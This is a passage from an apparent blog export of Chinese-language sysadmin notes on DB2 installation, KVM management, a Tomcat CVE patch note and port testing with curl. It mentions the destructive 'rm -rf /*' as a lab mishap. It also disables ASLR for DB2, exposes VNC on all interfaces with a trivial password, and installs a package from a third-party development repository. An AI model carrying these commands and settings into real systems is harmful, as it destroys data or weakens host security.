7 useradd pollo -s /sbin/nologin --system passwd pollo db2 create role pollo db2 CREATE SCHEMA pollo AUTHORIZATION pollo db2 grant select on SCHEMA pollo to pollo db2 grant dbadm on database to user pollo 錯誤處理 # DBI1130E The IBM Tivoli System Automation for Multiplatforms (SA MP) # 1 2 3 DBI1130E The IBM Tivoli System Automation for Multiplatforms (SA MP) could not be installed or updated because system prerequisites were not met. See the log file /tmp/prereqSAM.log.26897 for details. 1 2 3 DBI1130E The IBM Tivoli System Automation for Multiplatforms (SA MP) could not be installed or updated because system prerequisites were not met. See the log file /tmp/prereqSAM.log.19808 for details 1 2 3 DBI1130E The IBM Tivoli System Automation for Multiplatforms (SA MP) could not be installed or updated because system prerequisites were not met. See the log file /tmp/prereqSAM.log.20636 for details. 1 2 3 DBI1130E The IBM Tivoli System Automation for Multiplatforms (SA MP) could not be installed or updated because system prerequisites were not met. See the log file /tmp/prereqSAM.log.26897 for details. OL8 帳號密碼無法連線處理 # /etc/pam.d/db2 1 2 3 4 auth required pam_unix.so account required pam_unix.so password required pam_unix.so session required pam_unix.so 1 db2 update dbm cfg using AUTHENTICATION SERVER_ENCRYPT 參考資料 # Various DB2 failures may occur on Linux with Address Space Layout Randomization (ASLR) ","date":"November 13, 2024","externalUrl":null,"permalink":"/worknot/install-db2-9.7-in-centos7/","section":"Worknots","summary":"安裝順序 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 scp ./v9.7fp7_linuxx64_server.tar.gz jameschang@192.168.122.138:/tmp/ # 創建需要的目錄 mkdir -p /db2 mkdir /source # 複製安裝包到映像內 mv /tmp/v9.7fp7_linuxx64_server.tar.gz /source # 安裝必要的依賴包 yum update -y yum install -y gcc libaio libstdc++ libstdc++-devel pam perl tar pam.i686 libnsl libnsl.i686 glibc.i686 libstdc++.i686 libstdc++-devel.i686 nspr.i686 nss.i686 libaio.i686 # OL9 yum install -y glibc.i686 libstdc++.i686 libpam.so.0 yum install -y https://rpmfind.net/linux/mageia/distrib/cauldron/x86_64/media/core/release/libstdc++5-3.3.6-19.mga9.x86_64.rpm # OL9 離線安裝準備 rpm yumdowner gcc glibc libaio libnsl libnsl libstdc++ libstdc++-devel libstdc++-devel pam perl glibc glibc-common glibc-gconv-extra glibc-langpack-en libgcc libgomp libstdc++ pam annobin audit-libs cpp dwz efi-srpm-macros fonts-srpm-macros gcc-c++ gcc-plugin-annobin ghc-srpm-macros glibc-devel glibc-gconv-extra glibc-headers go-srpm-macros kernel-headers kernel-srpm-macros libcap-ng libdatrie libdb libeconf libgcc libmpc libpkgconf libselinux libsepol libthai libxcrypt libxcrypt-devel llvm-libs lua-srpm-macros ocaml-srpm-macros openblas-srpm-macros openssl-libs pcre2 perl-Algorithm-Diff perl-Archive-Tar perl-Archive-Zip perl-Attribute-Handlers perl-AutoLoader perl-AutoSplit perl-B perl-Benchmark perl-CPAN perl-CPAN-Meta perl-CPAN-Meta-Requirements perl-CPAN-Meta-YAML perl-Carp perl-Class-Struct perl-Compress-Bzip2 perl-Compress-Raw-Bzip2 perl-Compress-Raw-Lzma perl-Compress-Raw-Zlib perl-Config-Extensions perl-Config-Perl-V perl-DBM_Filter perl-DB_File perl-Data-Dumper perl-Data-OptList perl-Data-Section perl-Devel-PPPort perl-Devel-Peek perl-Devel-SelfStubber perl-Devel-Size perl-Digest perl-Digest-MD5 perl-Digest-SHA perl-Digest-SHA1 perl-DirHandle perl-Dumpvalue perl-DynaLoader perl-Encode perl-Encode-devel perl-English perl-Env perl-Errno perl-Exporter perl-ExtUtils-CBuilder perl-ExtUtils-Command perl-ExtUtils-Constant perl-ExtUtils-Embed perl-ExtUtils-Install perl-ExtUtils-MM-Utils perl-ExtUtils-MakeMaker perl-ExtUtils-Manifest perl-ExtUtils-Miniperl perl-ExtUtils-ParseXS perl-Fcntl perl-File-Basename perl-File-Compare perl-File-Copy perl-File-DosGlob perl-File-Fetch perl-File-Find perl-File-HomeDir perl-File-Path perl-File-Temp perl-File-Which perl-File-stat perl-FileCache perl-FileHandle perl-Filter perl-Filter-Simple perl-FindBin perl-GDBM_File perl-Getopt-Long perl-Getopt-Std perl-HTTP-Tiny perl-Hash-Util perl-Hash-Util-FieldHash perl-I18N-Collate perl-I18N-LangTags perl-I18N-Langinfo perl-IO perl-IO-Compress perl-IO-Compress-Lzma perl-IO-Socket-IP perl-IO-Socket-SSL perl-IO-Zlib perl-IPC-Cmd perl-IPC-Open3 perl-IPC-SysV perl-IPC-System-Simple perl-Importer perl-JSON-PP perl-Locale-Maketext perl-Locale-Maketext-Simple perl-MIME-Base64 perl-MIME-Charset perl-MRO-Compat perl-Math-BigInt perl-Math-BigInt-FastCalc perl-Math-BigRat perl-Math-Complex perl-Memoize perl-Module-Build perl-Module-CoreList perl-Module-CoreList-tools perl-Module-Load perl-Module-Load-Conditional perl-Module-Loaded perl-Module-Metadata perl-Module-Signature perl-Mozilla-CA perl-NDBM_File perl-NEXT perl-Net perl-Net-Ping perl-Net-SSLeay perl-ODBM_File perl-Object-HashBase perl-Opcode perl-POSIX perl-Package-Generator perl-Params-Check perl-Params-Util perl-PathTools perl-Perl-OSType perl-PerlIO-via-QuotedPrint perl-Pod-Checker perl-Pod-Escapes perl-Pod-Functions perl-Pod-Html perl-Pod-Perldoc perl-Pod-Simple perl-Pod-Usage perl-Safe perl-Scalar-List-Utils perl-Search-Dict perl-SelectSaver perl-SelfLoader perl-Socket perl-Software-License perl-Storable perl-Sub-Exporter perl-Sub-Install perl-Symbol perl-Sys-Hostname perl-Sys-Syslog perl-Term-ANSIColor perl-Term-Cap perl-Term-Complete perl-Term-ReadLine perl-Term-Size-Perl perl-Term-Table perl-Test perl-Test-Harness perl-Test-Simple perl-Text-Abbrev perl-Text-Balanced perl-Text-Diff perl-Text-Glob perl-Text-ParseWords perl-Text-Tabs+Wrap perl-Text-Template perl-Thread perl-Thread-Queue perl-Thread-Semaphore perl-Tie perl-Tie-File perl-Tie-Memoize perl-Tie-RefHash perl-Time perl-Time-HiRes perl-Time-Local perl-Time-Piece perl-URI perl-Unicode-Collate perl-Unicode-Normalize perl-Unicode-UCD perl-User-pwent perl-autodie perl-autouse perl-base perl-bignum perl-blib perl-constant perl-debugger perl-deprecate perl-devel perl-diagnostics perl-doc perl-encoding perl-encoding-warnings perl-experimental perl-fields perl-filetest perl-if perl-inc-latest perl-interpreter perl-less perl-lib perl-libnet perl-libnetcfg perl-libs perl-local-lib perl-locale perl-macros perl-meta-notation perl-mro perl-open perl-overload perl-overloading perl-parent perl-perlfaq perl-ph perl-podlators perl-sigtrap perl-sort perl-srpm-macros perl-subs perl-threads perl-threads-shared perl-utils perl-vars perl-version perl-vmsish pkgconf pkgconf-m4 pkgconf-pkg-config pyproject-srpm-macros python-srpm-macros qt5-srpm-macros redhat-rpm-config rust-srpm-macros sombok systemtap-sdt-devel zip zlib perl-CPAN-DistnameInfo perl-Encode-Locale perl-Term-Size-Any perl-TermReadKey perl-Unicode-LineBreak 1 2 3 wget https://yum.oracle.com/repo/OracleLinux/OL7/latest/x86_64/getPackage/compat-libstdc++-33-3.2.3-72.el7.x86_64.rpm wget https://yum.oracle.com/repo/OracleLinux/OL7/latest/x86_64/getPackage/compat-libstdc++-33-3.2.3-72.el7.i686.rpm dnf install ./compat-libstdc++-33-3.2.3-72.el7.* 1 yum clean all /etc/sysctl.d/db2.conf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 # 檔案開啟限制，建議加大到 64k 以上 fs.file-max = 655360 # 共享記憶體上限 (SHMMAX): 建議設為實體記憶體的 90% (以 byte 為單位) # 假設你是 64GB RAM: 64 * 1024 * 1024 * 1024 * 0.9 = 61847529062 kernel.shmmax = 7486776115 # 以 page 為單位 (shmmax / 4096) kernel.shmall = 1827826 # 訊號量 (Semaphores): DB2 需要大量的 SEM # \u003cSEMMSL\u003e \u003cSEMMNS\u003e \u003cSEMOPM\u003e \u003cSEMMNI\u003e kernel.sem = 250 256000 32 1024 # 提高網路緩衝區效能 net.core.rmem_default = 262144 net.core.rmem_max = 4194304 net.core.wmem_default = 262144 net.core.wmem_max = 4194304 # 保持關閉位址隨機化 kernel.randomize_va_space = 0 # 增加網路連線的併發能力，避免繁忙時連線被拒絕 net.ipv4.ip_local_port_range = 1024 65535 net.core.netdev_max_backlog = 3000 # 針對大型資料庫優化虛擬記憶體管理 vm.swappiness = 10 vm.dirty_ratio = 15 vm.dirty_background_ratio = 5 1 sysctl -p /etc/sysctl.d/db2.conf 停用透明大頁面 (Transparent Huge Pages, THP) 1 2 3 4 5 6 # 檢查狀態 cat /sys/kernel/mm/transparent_hugepage/enabled # 立即關閉 echo never \u003e /sys/kernel/mm/transparent_hugepage/enabled echo never \u003e /sys/kernel/mm/transparent_hugepage/defrag 1 sudo grubby --update-kernel=ALL --args=\"transparent_hugepage=never\" /boot/efi/EFI/redhat/grub.cfg\n","title":"Install DB2 9.7 in CentOS7","type":"worknot"},{"content":"","date":"November 13, 2024","externalUrl":null,"permalink":"/tags/cve-2023-41080/","section":"Tags","summary":"","title":"CVE-2023-41080","type":"tags"},{"content":" URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-41080 contentDescription # 1 URL Redirection to Untrusted Site (\u0026#39;Open Redirect\u0026#39;) vulnerability in FORM authentication feature Apache Tomcat.This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.0-M10, from 10.1.0-M1 through 10.0.12, from 9.0.0-M1 through 9.0.79 and from 8.5.0 through 8.5.92. The vulnerability is limited to the ROOT (default) web application. 處理方式 # 調查tomcat version 1 sudo ls -l /home/tomcat/apache-tomcat* 升級 tomcat ","date":"November 13, 2024","externalUrl":null,"permalink":"/worknot/fix-cve-2023-41080/","section":"Worknots","summary":" URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-41080 contentDescription # 1 URL Redirection to Untrusted Site ('Open Redirect') vulnerability in FORM authentication feature Apache Tomcat.This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.0-M10, from 10.1.0-M1 through 10.0.12, from 9.0.0-M1 through 9.0.79 and from 8.5.0 through 8.5.92. The vulnerability is limited to the ROOT (default) web application. 處理方式 # 調查tomcat version 1 sudo ls -l /home/tomcat/apache-tomcat* 升級 tomcat ","title":"修補 CVE-2023-41080","type":"worknot"},{"content":"以下是我個人工作上的經驗，笑笑就好\n初階工程師 # 一開始我踏入資訊行業是擔任甲方駐點資訊人員。事情很雜，凡事系統發生問題都要處理，最小的事情是系統發生錯誤要進行排除，大到系統崩潰都要進行處理。但是擔任第一線的資訊員通常只要進行事件回報即可，等到有一定的排除系統能力也就漸漸的往其他領域發展。\n在這個階段往往不用負起責任，但是事情也是最繁雜的時候。要做報告、撈資料\u0026hellip;\u0026hellip;等一大堆雜事。不過我也在這個職位待個一年多左右。\n以下是我覺的這個職務必經之路\n事情永遠做不完做不好 網站開發工程師 # 開發工作是我比較喜歡的的職務，因為寫程式對於我來說是一種邏輯思考訓練，同時也是一種自我挑戰。挑戰的項目有很多，例如: 在30秒之內完成業務雜的邏輯運算、全部使用某種語言完成開發\u0026hellip;等。另外這段時間也改良過 open source 程式: nodeBB 、jasperreports 等等。直到目前我還是會每個月花個一兩週回鍋一下開發。\n以下是我覺的這個職務必經之路\n寫了比鳥巢還巢狀的程式 寫了 SQL Injection 的程式 分析師 # 分析的路很廣，有分析業務需求、原始系統功能等等。這個職務我覺的比像人類科學家。在需求訪談的過程中，會需要分析這一群人到底在做什麼? 為什麼會需要做? 不做又會怎樣? 資訊是如何流通的? 而且在需求會議中往往有業務單位間的意見衝突。\n在這個過程中，我也發現自己不是非常喜歡面對人群，所以擔任分析師過後我就專職單純的資訊技術發展了。\n以下是我覺的這個職務必經之路\n在分析會議上分神一陣子 被人嫌，你當初怎模沒有想到 資料庫管理人員 # 雖然我碰觸過一些大型的資料庫，也安裝、維護、調校過，例如: DB2 HA、Oracle RAC 等等。但是我一直不敢說我是 DBA。也許是身處在台灣資訊市場環境，專職 DBA 的人員少支又少，比日本壓縮機還要稀少。在這份職務上我只是兼職，剛好碰到資料庫出現問題又找不到人處理狀況下處理而已。再過去處理的經驗上充滿了汗血。\n以下是我覺的這個職務必經之路\n不小心誤刪掉資料(庫)，又親手還原回來 建資料庫時，建完了又刪、刪了又建然後發現還要建測試環境 總是被要求系統離蜂作業 系統工程師 # 這部份是偶然的職務。在「初階工程師」階段，因為好奇系統出錯會怎樣，加上過去在處理資料庫問題會需要模擬情境，因此不小心習得 KVM 虛擬化、容器技術。模擬過程中得不時建網站服務，如: tomacat 、編譯 nginx、安裝資料庫 等等。這部份的技能我反而比較熟悉。熟悉到有辦法拿一台 x86 主機在短短一兩個小時之內從空的作業系統安裝到完成網站服務進入運作(要看網站服務要求啦)。\n以下是我覺的這個職務必經之路\n手殘下 rm -rf /* (我個人是出自好奇在 LAB 中執行) 硬碟括容後發現做錯硬碟了 port 搞錯 我到底建了哪些服務，是我建的嗎? ","date":"November 12, 2024","externalUrl":null,"permalink":"/worknot/worknot-20241112-1/","section":"Worknots","summary":"以下是我個人工作上的經驗，笑笑就好\n初階工程師 # 一開始我踏入資訊行業是擔任甲方駐點資訊人員。事情很雜，凡事系統發生問題都要處理，最小的事情是系統發生錯誤要進行排除，大到系統崩潰都要進行處理。但是擔任第一線的資訊員通常只要進行事件回報即可，等到有一定的排除系統能力也就漸漸的往其他領域發展。\n","title":"資訊工程職務必經之路","type":"worknot"},{"content":" # 1 qemu-img convert -f raw -O qcow2 manage manage.qcow2 qcow2 轉 VMDisk # 1 qemu-img convert -f qcow2 -O vmdk zimbra9-ubuntu18.04 zimbra9-ubuntu18.04.vmdk 熱擴展磁碟 # 1 sudo virsh blockresize \u0026lt;vm_name\u0026gt; \u0026lt;disk_path\u0026gt; \u0026lt;size_in_bytes\u0026gt; 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 qemu-img resize /kvm/win10 +20G qemu-img info /kvm/win10 [sudo] password for jameschang: image: /kvm/win10 file format: qcow2 virtual size: 40 GiB (42949672960 bytes) disk size: 39.8 GiB cluster_size: 65536 Format specific information: compat: 1.1 compression type: zlib lazy refcounts: true refcount bits: 16 corrupt: false extended l2: false 擴展完記得\n1 2 # ext4 resize2fs /dev/vda2 使用 qemu-img 進行磁碟縮容 # 1 sudo qemu-img resize /var/lib/libvirt/images/develop-pg-node-01.qcow2 60G 虛擬機啟動中括容 # 1 2 3 4 5 6 7 8 9 10 ❯ sudo virsh domblklist vm121-ebsr12.2 Target Source -------------------------------------------------------- vda /var/lib/libvirt/images/vm121-ebsr12.2.qcow2 ❯ sudo virsh blockresize vm121-ebsr12.2 vda 500G Block device \u0026#39;vda\u0026#39; is resized ❯ sudo qemu-img check -f qcow2 /var/lib/libvirt/images/vm121-ebsr12.2.qcow2 -U No errors were found on the image. 71261/8192000 = 0.87% allocated, 0.01% fragmented, 0.00% compressed clusters Image end offset: 4671537152 監控 # 詳細的區塊設備統計 (domblkstat)\n1 2 3 4 5 6 7 8 9 ❯ sudo virsh domblkstat vm121-ebsr12.2 vda vda rd_req 7410 vda rd_bytes 151478784 vda wr_req 129 vda wr_bytes 5064704 vda flush_operations 38 vda rd_total_times 863586572 vda wr_total_times 142898771 vda flush_total_times 148126385 rd_req / wr_req: 讀寫請求次數。 rd_bytes / wr_bytes: 讀寫的總位元組數。 flush_operations: 重新寫入快取的次數（可用於判斷磁碟壓力）。 ","date":"November 11, 2024","externalUrl":null,"permalink":"/worknot/kvm-cli-disk/","section":"Worknots","summary":" # 1 qemu-img convert -f raw -O qcow2 manage manage.qcow2 qcow2 轉 VMDisk # 1 qemu-img convert -f qcow2 -O vmdk zimbra9-ubuntu18.04 zimbra9-ubuntu18.04.vmdk 熱擴展磁碟 # 1 sudo virsh blockresize \u003cvm_name\u003e \u003cdisk_path\u003e \u003csize_in_bytes\u003e 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 qemu-img resize /kvm/win10 +20G qemu-img info /kvm/win10 [sudo] password for jameschang: image: /kvm/win10 file format: qcow2 virtual size: 40 GiB (42949672960 bytes) disk size: 39.8 GiB cluster_size: 65536 Format specific information: compat: 1.1 compression type: zlib lazy refcounts: true refcount bits: 16 corrupt: false extended l2: false 擴展完記得\n","title":"KVM 相關 disk","type":"worknot"},{"content":" 建立虛擬機器 # KVM 新增硬碟\n1 2 sudo qemu-img create -f qcow2 /home/jameschang/VMS/linux/debian9.qcow2 20G sudo qemu-img create -f qcow2 /kvm/zimbraBuild.qcow2 50G 查詢可用的作業系統 1 osinfo-query os | grep debian 查詢可以用的網路 1 sudo virsh net-list 1 2 # 在 VM 中安裝 Ubuntu Linux 18.04（遠端主機） sudo virt-install --virt-type kvm --name debian9 --ram 4096 --disk /home/jameschang/VMS/linux/debian9.qcow2,format=qcow2 --network network=network1 --graphics vnc,listen=0.0.0.0,password=debian9 --noautoconsole --os-type=linux --os-variant=debian9 --cdrom=/data/softwares/linux/debian-9.13.0-amd64-netinst.iso 1 2 3 4 5 6 7 8 virsh vncdisplay debian9 virsh iface-bridge wlp1s0 br0 virsh iface-bridge eth0 wlp1s0 sudo qemu-img create -f qcow2 /kvm/zimbra8-ubuntu20.04.qcow2 20G sudo virt-install --virt-type kvm --name zimbraBuild --ram 4096 --disk /kvm/zimbra8-ubuntu20.04.qcow2,format=qcow2 --network network=default --network network=network --graphics vnc,listen=0.0.0.0 --noautoconsole --os-type=linux --os-variant=ubuntu20.04 --cdrom=/home/jameschang/data/softwares/linux/ubuntu-20.04.2-live-server-amd64.iso 列出 VM 詳細訊息 # 1 virsh dominfo \u0026lt;vm name\u0026gt; 結果如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 jameschang@pollo-lab:~$ sudo virsh dominfo windows-server-2003 Id: - Name: windows-server-2003 UUID: 5f3e5081-8d20-4a5b-a12c-8129e65d917c OS Type: hvm State: shut off CPU(s): 2 Max memory: 4194304 KiB Used memory: 4194304 KiB Persistent: yes Autostart: disable Managed save: no Security model: none Security DOI: 0 在虛擬機中啟用 console # 在 Gust VM 中需要啟用 serial 1 sudo systemctl enable --now serial-getty@ttyS0.service 測試: 從 KVM Host 終端機 進入 KVM console 1 sudo virsh console zabbix --safe 離開 KVM Console 方式 Use CTRL + 5\n列出所有虛擬機 # 1 sudo virsh list --all 以下為結果\n1 2 3 4 5 6 7 8 jameschang@pollo-lab:~$ sudo virsh list --all Id Name State ------------------------------------------------ 7 workplace running - chlc-rocky-8 shut off - db2-9.7-development shut off - DB2-9.7-oracle-linux-9 shut off - develop-debian-12 shut off 重新命名虛擬機名稱 # 1 sudo virsh domrename tpsoc-135 tpsoc-136 開機時自動啟動 VM # 1 sudo virsh autostart windows 設定 kvm xml # 1 2 3 virsh list --all virsh shutdown vmName virsh edit vmName 錯誤處理 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 root@pollochang-kvm-003 ~]# virsh list --all error: failed to connect to the hypervisor error: Cannot recv data: Connection reset by peer [root@pollochang-kvm-003 ~]# systemctl status libvirtd ● libvirtd.service - Virtualization daemon Loaded: loaded (/usr/lib/systemd/system/libvirtd.service; enabled; vendor preset: enabled) Active: inactive (dead) Docs: man:libvirtd(8) https://libvirt.org [root@pollochang-kvm-003 ~]# systemctl start libvirtd [root@pollochang-kvm-003 ~]# systemctl status libvirtd ● libvirtd.service - Virtualization daemon Loaded: loaded (/usr/lib/systemd/system/libvirtd.service; enabled; vendor preset: enabled) Active: active (running) since Sat 2026-01-10 09:42:10 CST; 1s ago Docs: man:libvirtd(8) https://libvirt.org Main PID: 5324 (libvirtd) Tasks: 19 (limit: 32768) Memory: 17.6M CGroup: /system.slice/libvirtd.service └─5324 /usr/sbin/libvirtd --timeout 120 Jan 10 09:42:10 pollochang-kvm-003.kvm-host.home.pollochang.work systemd[1]: Starting Virtualization daemon... Jan 10 09:42:10 pollochang-kvm-003.kvm-host.home.pollochang.work systemd[1]: Started Virtualization daemon. [root@pollochang-kvm-003 ~]# systemctl enable libvirtd [root@pollochang-kvm-003 ~]# ","date":"November 11, 2024","externalUrl":null,"permalink":"/worknot/kvm-cli-vm/","section":"Worknots","summary":"建立虛擬機器 # KVM 新增硬碟\n1 2 sudo qemu-img create -f qcow2 /home/jameschang/VMS/linux/debian9.qcow2 20G sudo qemu-img create -f qcow2 /kvm/zimbraBuild.qcow2 50G 查詢可用的作業系統 1 osinfo-query os | grep debian 查詢可以用的網路 1 sudo virsh net-list 1 2 # 在 VM 中安裝 Ubuntu Linux 18.04（遠端主機） sudo virt-install --virt-type kvm --name debian9 --ram 4096 --disk /home/jameschang/VMS/linux/debian9.qcow2,format=qcow2 --network network=network1 --graphics vnc,listen=0.0.0.0,password=debian9 --noautoconsole --os-type=linux --os-variant=debian9 --cdrom=/data/softwares/linux/debian-9.13.0-amd64-netinst.iso 1 2 3 4 5 6 7 8 virsh vncdisplay debian9 virsh iface-bridge wlp1s0 br0 virsh iface-bridge eth0 wlp1s0 sudo qemu-img create -f qcow2 /kvm/zimbra8-ubuntu20.04.qcow2 20G sudo virt-install --virt-type kvm --name zimbraBuild --ram 4096 --disk /kvm/zimbra8-ubuntu20.04.qcow2,format=qcow2 --network network=default --network network=network --graphics vnc,listen=0.0.0.0 --noautoconsole --os-type=linux --os-variant=ubuntu20.04 --cdrom=/home/jameschang/data/softwares/linux/ubuntu-20.04.2-live-server-amd64.iso 列出 VM 詳細訊息 # 1 virsh dominfo \u003cvm name\u003e 結果如下\n","title":"KVM 相關 VM","type":"worknot"},{"content":" KVM 網路 # 檢視網路 # 1 2 3 4 5 6 7 # 列出全部網路設定，包含未啟動的網路 ❯ sudo virsh net-list --all Name State Autostart Persistent ---------------------------------------------- default active yes yes private inactive no yes public active yes yes Name: 網路介面名稱 State: 目前狀態 active: 啟動 inactive: 未啟動 Autostart: 開機時自動啟動 yes: 開機時自動啟動 no: 開機時不自動啟動 Persistent: 永久保存 編輯網路 # 1 2 3 4 virsh net-list # 列出全部網路設定，包含未啟動的網路 virsh net-list --all virsh net-edit $NETWORK_NAME 编辑段落 1 2 3 4 5 6 7 8 \u0026lt;mtu size=\u0026#34;9000\u0026#34;/\u0026gt; \u0026lt;dhcp\u0026gt; \u0026lt;range start=\u0026#39;192.168.122.100\u0026#39; end=\u0026#39;192.168.122.254\u0026#39;/\u0026gt; \u0026lt;host mac=\u0026#39;52:54:00:ed:3c:bc\u0026#39; name=\u0026#39;winxp\u0026#39; ip=\u0026#39;192.168.122.2\u0026#39;/\u0026gt; \u0026lt;host mac=\u0026#39;52:54:00:19:1b:70\u0026#39; name=\u0026#39;loki\u0026#39; ip=\u0026#39;192.168.122.3\u0026#39;/\u0026gt; \u0026lt;host mac=\u0026#39;52:54:00:b8:f1:68\u0026#39; name=\u0026#39;gilLab\u0026#39; ip=\u0026#39;192.168.122.4\u0026#39;/\u0026gt; \u0026lt;host mac=\u0026#39;\u0026#39; name=\u0026#39;vm1\u0026#39; ip=\u0026#39;\u0026#39;/\u0026gt; \u0026lt;/dhcp\u0026gt; 重起網路 1 2 sudo virsh net-destroy $NETWORK_NAME \u0026amp;\u0026amp;\\ sudo virsh net-start $NETWORK_NAME 檢視網路設定 # 1 virsh net-dumpxml \u0026lt;network-name\u0026gt; 讓網路在啟動時自動啟用 # 1 sudo virsh net-autostart \u0026lt;network-name\u0026gt; 執行結果\n1 2 ❯ sudo virsh net-autostart private Network private marked as autostarted 產生 MAC # 符合 KVM/QEMU 規範的 MAC 地址：\n1 echo \u0026#34;52:54:00:$(openssl rand -hex 3 | sed \u0026#39;s/\\(..\\)/\\1:/g; s/:$//\u0026#39;)\u0026#34; 使用 openssl 命令隨機生成\n1 openssl rand -hex 6 | sed \u0026#39;s/\\(..\\)/\\1:/g; s/:$//\u0026#39; 參考資料 # https://huataihuang.gitbooks.io/cloud-atlas/content/virtual/kvm/startup/in_action/kvm_libvirt_static_ip_for_dhcp _and_port_forwarding.html\n","date":"November 11, 2024","externalUrl":null,"permalink":"/worknot/kvm-cli-netowrk/","section":"Worknots","summary":"KVM 網路 # 檢視網路 # 1 2 3 4 5 6 7 # 列出全部網路設定，包含未啟動的網路 ❯ sudo virsh net-list --all Name State Autostart Persistent ---------------------------------------------- default active yes yes private inactive no yes public active yes yes Name: 網路介面名稱 State: 目前狀態 active: 啟動 inactive: 未啟動 Autostart: 開機時自動啟動 yes: 開機時自動啟動 no: 開機時不自動啟動 Persistent: 永久保存 編輯網路 # 1 2 3 4 virsh net-list # 列出全部網路設定，包含未啟動的網路 virsh net-list --all virsh net-edit $NETWORK_NAME 编辑段落 1 2 3 4 5 6 7 8 \u003cmtu size=\"9000\"/\u003e \u003cdhcp\u003e \u003crange start='192.168.122.100' end='192.168.122.254'/\u003e \u003chost mac='52:54:00:ed:3c:bc' name='winxp' ip='192.168.122.2'/\u003e \u003chost mac='52:54:00:19:1b:70' name='loki' ip='192.168.122.3'/\u003e \u003chost mac='52:54:00:b8:f1:68' name='gilLab' ip='192.168.122.4'/\u003e \u003chost mac='' name='vm1' ip=''/\u003e \u003c/dhcp\u003e 重起網路 1 2 sudo virsh net-destroy $NETWORK_NAME \u0026\u0026\\ sudo virsh net-start $NETWORK_NAME 檢視網路設定 # 1 virsh net-dumpxml \u003cnetwork-name\u003e 讓網路在啟動時自動啟用 # 1 sudo virsh net-autostart \u003cnetwork-name\u003e 執行結果\n","title":"KVM 網路","type":"worknot"},{"content":"https://\u0026lt;big-ip apm virtual server\u0026gt;/public/download/\u0026lt;file name\u0026gt;\nDebian\nlinux_f5cli.x86_64.deb\nlinux_f5epi.x86_64.deb\nlinux_f5vpn.x86_64.deb\n1 sudo apt install ./linux_f5*.deb 參考資料 # K47922841: Using the Linux client f5fpc to connect to the BIG-IP APM network access for the first time ","date":"November 4, 2024","externalUrl":null,"permalink":"/worknot/worknot-20241104-1/","section":"Worknots","summary":"https://\u003cbig-ip apm virtual server\u003e/public/download/\u003cfile name\u003e\nDebian\nlinux_f5cli.x86_64.deb\nlinux_f5epi.x86_64.deb\nlinux_f5vpn.x86_64.deb\n1 sudo apt install ./linux_f5*.deb 參考資料 # K47922841: Using the Linux client f5fpc to connect to the BIG-IP APM network access for the first time ","title":"big-ip client linux 安裝","type":"worknot"},{"content":"","date":"October 30, 2024","externalUrl":null,"permalink":"/tags/curl/","section":"Tags","summary":"","title":"Curl","type":"tags"},{"content":"","date":"October 30, 2024","externalUrl":null,"permalink":"/tags/telnet/","section":"Tags","summary":"","title":"Telnet","type":"tags"},{"content":"過去在偵測網路 port 可連接的狀況，會使用 telnet 這個指令測，但是新版的作業系統已經預設已經沒有安裝了。\n現在的替代方案是 curl 指令，此方法在 windows 10 環境也適用\n1 curl telnet://[IP]:[port] 讓我們來看一下差別，以下是 telnet 輸出的結果\n1 2 3 4 5 ❯ telnet 127.0.0.1 22 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is \u0026#39;^]\u0026#39;. SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u3 以下是 curl 輸出結果\n1 2 ❯ curl telnet://127.0.0.1:22 SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u3 ","date":"October 30, 2024","externalUrl":null,"permalink":"/worknot/worknot-20241030-2/","section":"Worknots","summary":"過去在偵測網路 port 可連接的狀況，會使用 telnet 這個指令測，但是新版的作業系統已經預設已經沒有安裝了。\n現在的替代方案是 curl 指令，此方法在 windows 10 環境也適用\n1 curl telnet://[IP]:[port] 讓我們來看一下差別，以下是 telnet 輸出的結果\n","title":"telnet 替代方案: curl","type":"worknot"},{"content":"","date":"October 30, 2024","externalUrl":null,"permalink":"/tags/multipath/","section":"Tags","summary":"","title":"Multipath","type":"tags"},{"content":"最近工作中遇到需要設定光纖設備，這邊我稍微紀錄一下過往常用的指令\n查詢 hba 型號: ``\n1 2 3 [root@test-host ~]# lspci -nn |egrep -i \u0026#34;fibre|hba\u0026#34; 17:00.0 Fibre Channel [0c04]: QLogic Corp. ISP2532-based 8Gb Fibre Channel to PCI Express HBA [1077:2532] (rev 02) 17:00.1 Fibre Channel [0c04]: QLogic Corp. ISP2532-based 8Gb Fibre Channel to PCI Express HBA [1077:2532] (rev 02) 重新掃描 scsi: echo \u0026quot;- - -\u0026quot; \u0026gt; /sys/class/scsi_host/\u0026lt;host\u0026gt;/scan\n1 for host in ls /sys/class/scsi_host/;do echo \u0026#34;- - -\u0026#34; \u0026gt;/sys/class/scsi_host/${host}/scan; done 查詢 FC WWN: ``\n1 2 3 4 [root@test-host ~]# cat /sys/class/fc_host/host11/port_name 0x21000024fg400000 [root@test-host ~]# cat /sys/class/fc_host/host12/port_name 0x21000024ff400000 ","date":"October 30, 2024","externalUrl":null,"permalink":"/worknot/worknot-20241030-1/","section":"Worknots","summary":"最近工作中遇到需要設定光纖設備，這邊我稍微紀錄一下過往常用的指令\n查詢 hba 型號: ``\n1 2 3 [root@test-host ~]# lspci -nn |egrep -i \"fibre|hba\" 17:00.0 Fibre Channel [0c04]: QLogic Corp. ISP2532-based 8Gb Fibre Channel to PCI Express HBA [1077:2532] (rev 02) 17:00.1 Fibre Channel [0c04]: QLogic Corp. ISP2532-based 8Gb Fibre Channel to PCI Express HBA [1077:2532] (rev 02) 重新掃描 scsi: echo \"- - -\" \u003e /sys/class/scsi_host/\u003chost\u003e/scan\n","title":"硬體設備-hba","type":"worknot"},{"content":" nmon # nmon_analyser # 69 版本有問題，所以我這邊下載 66\n1 wget https://sourceforge.net/projects/nmon/files/nmon_analyser_v66.zip 官方網站: https://nmon.sourceforge.io/pmwiki.php\n","date":"October 28, 